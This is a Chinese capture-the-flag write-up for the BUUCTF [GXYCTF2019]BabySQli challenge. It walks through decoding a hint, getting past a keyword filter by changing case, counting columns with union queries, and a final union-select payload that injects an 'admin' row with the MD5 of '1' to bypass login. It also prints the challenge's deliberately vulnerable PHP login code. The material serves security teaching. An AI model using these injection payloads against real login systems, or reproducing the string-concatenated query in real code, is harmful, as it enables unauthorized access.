BUUCTF [GXYCTF2019]BabySQli

Amsterdamnit / 2023-08-30 / 原文

首先进入网站,是一个登录框,使用admin尝试一下。

之后对登录框做了一些常规的SQL注入也都是do not hack me!

但在登录后跳转的search.php页面的源代码中发现一段编码。

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

发现是一段base32编码,解码后又是一段base64编码。

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

解码最终得到

select * from user where username = '$name'

所以知道了SQL语句后,用联合注入进行测试字段数。

在Burp Suite中修改POST数据:name=admin'order by 1#&pw=admin

得到的仍然是do not hack me!

如果fuzz一下可以发现or、order、information_schema被过滤了,但是order可以通过Order来进行绕过。

name=admin'Order by 3#&pw=admin
wrong pass!

name=admin'Order by 4#&pw=admin
Error: Unknown column '4' in 'order clause'

直到Order by 3回显都是wrong pass!。Order by 4时出现Error,说明可知字段数为3。

或者使用union注入来测试字段数。

name=admin'union select 1#&pw=admin
Error: The used SELECT statements have a different number of columns

name=admin'union select 1,2,3#&pw=admin
wrong pass!

直到union select 1,2,3时回显发生变化,说明SQL查询一共有三个字段。

根据提示可以知道是pass密码错误,所以是有admin这个账号的,那我们接下来测试用户这个字段到底在哪一个字段当中。

name=1'union select 'admin',2,3#&pw=admin
wrong user!

name=1'union select 1,'admin',3#&pw=admin
wrong pass!

由此可知第2个字段为user字段。

接下来的一步比较关键,我们需要找到search.php的源代码,通过审计代码才知道密码有md5加密。但是看帖子中说的原题目并没有给出。

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
 
// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }
 
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
 
if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        $arr = mysqli_fetch_row($result);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}
 
?>

本题考点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据(可手动复现一下)

构建payload:name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

其中我们使用联合查询后,会把name=admin,pw=c4ca4238a0b923820dcc509a6f75849b的数据临时存入数据库中,'c4ca4238a0b923820dcc509a6f75849b'就是'1'的md5值。我们输入的1经过md5加密与库中临时存入数据相符,也就成功登入。
得到flag{36b6b17e-16f6-486c-a756-8c73b9bb54be}




参考链接:
https://www.cnblogs.com/sfsec/p/15215102.html
https://blog.csdn.net/RABCDXB/article/details/113812068
SQL 注入总结